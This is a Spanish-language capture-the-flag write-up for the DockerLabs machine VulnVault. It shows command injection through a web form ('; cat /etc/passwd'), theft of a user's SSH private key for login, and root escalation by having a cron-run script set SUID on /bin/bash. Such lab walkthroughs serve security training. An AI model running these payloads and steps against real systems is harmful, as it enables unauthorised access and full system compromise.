VulnVault
Introducción
Sección titulada «Introducción»En este artículo documentamos la resolución de la máquina virtual VulnVault, desarrollada por d1se0 y catalogada con un nivel de dificultad fácil.
El análisis se organiza en tres fases principales:
- Reconocimiento – Identificación de servicios, rutas y posibles vectores de ataque.
- Explotación – Ejecución de vulnerabilidades encontradas para obtener acceso inicial.
- Escalada de privilegios – Obtención de control total del sistema.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: VulnVault
- Autor: d1se0
- Dificultad: Fácil
- Fecha de creación: 25/08/2024
Paso 0: Instalación y Despliegue
Sección titulada «Paso 0: Instalación y Despliegue»-
Descargamos la máquina desde DockerLabs.
-
Descomprimimos el paquete:
Ventana de terminal unzip VulnVault.zip -
Ejecutamos el despliegue:
Ventana de terminal sudo bash auto_deploy.sh VulnVault.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»1.1 Identificación de la IP
Sección titulada «1.1 Identificación de la IP»Al iniciar la máquina, su IP se muestra directamente en la consola, por lo que no es necesario realizar un escaneo ARP.

Creamos un entorno de trabajo organizado:
mkdir VulnVaultcd VulnVaultmkt # Crea carpetas: content, exploits, nmap, scripts1.2 Escaneo de Puertos
Sección titulada «1.2 Escaneo de Puertos»Ejecutamos un escaneo completo con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos los puertos abiertos:
extractPorts allPorts
Servicios detectados:
- 22 (SSH)
- 80 (HTTP)
1.3 Enumeración Web (Puerto 80)
Sección titulada «1.3 Enumeración Web (Puerto 80)»Usamos Gobuster para descubrir rutas y archivos expuestos:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Rutas encontradas:
-
Index – Página principal con formulario para registrar nombre y fecha de reportes.

-
Upload.php – Lista los reportes subidos y permite su lectura.

-
Upload.html – Formulario para subir reportes.

-
Upload.js y scripts.js – Código JavaScript de la aplicación.

-
/old – Versión antigua del sitio.

Paso 2: Explotación
Sección titulada «Paso 2: Explotación»2.1 Pruebas iniciales
Sección titulada «2.1 Pruebas iniciales»El sistema de subida de archivos (Upload.js) parece no funcionar correctamente, ya que los archivos no aparecen listados.
Sin embargo, el formulario principal (Index) permite ingresar datos que se procesan en el backend. Aquí probamos inyección de comandos PHP.
Ejemplo de prueba fallida (debido a ofuscación con \):
<?php system(id)2.2 Bypass de la ofuscación
Sección titulada «2.2 Bypass de la ofuscación»Añadiendo un ; al final del código, conseguimos ejecutar comandos sin que la ofuscación afecte:
; whoami
2.3 Enumeración del sistema
Sección titulada «2.3 Enumeración del sistema»Obtenemos información del sistema y usuarios:
; cat /etc/passwd
Exploramos el home de la usuaria samara:
- Message.txt – Mensaje interno.
- User.txt – Vacío.
- Carpeta
.ssh– Contiene llave privada autorizada.

2.4 Acceso por SSH
Sección titulada «2.4 Acceso por SSH»Guardamos la llave privada en nuestra máquina, le damos permisos 600 y nos conectamos:
chmod 600 id_rsassh -i id_rsa samara@172.17.0.2
Paso 3: Escalada de Privilegios
Sección titulada «Paso 3: Escalada de Privilegios»3.1 Análisis inicial
Sección titulada «3.1 Análisis inicial»No hay privilegios sudo:
sudo -lTampoco binarios SUID útiles:
find / -perm -4000 2>/dev/null3.2 Enumeración de procesos
Sección titulada «3.2 Enumeración de procesos»Usamos ps aux para identificar procesos interesantes:

Detectamos que se ejecuta:
/bin/bash /usr/local/bin/echo.sh3.3 Abuso del script
Sección titulada «3.3 Abuso del script»El script añade el contenido de message.txt a la salida. Podemos modificarlo para asignar el bit SUID a /bin/bash:
chmod u+s /bin/bash
Tras su ejecución, iniciamos una shell como root:
/bin/bash -p
Conclusión
Sección titulada «Conclusión»La máquina VulnVault combina dos vectores de ataque comunes:
- Inyección de comandos en formularios web – Usada para obtener acceso inicial y robar credenciales SSH.
- Abuso de scripts mal protegidos – Aprovechando un script que se ejecuta automáticamente para escalar privilegios.
Este laboratorio es un buen ejemplo de cómo una vulnerabilidad simple en el frontend puede llevar, a través de una cadena de ataques, a un compromiso total del sistema.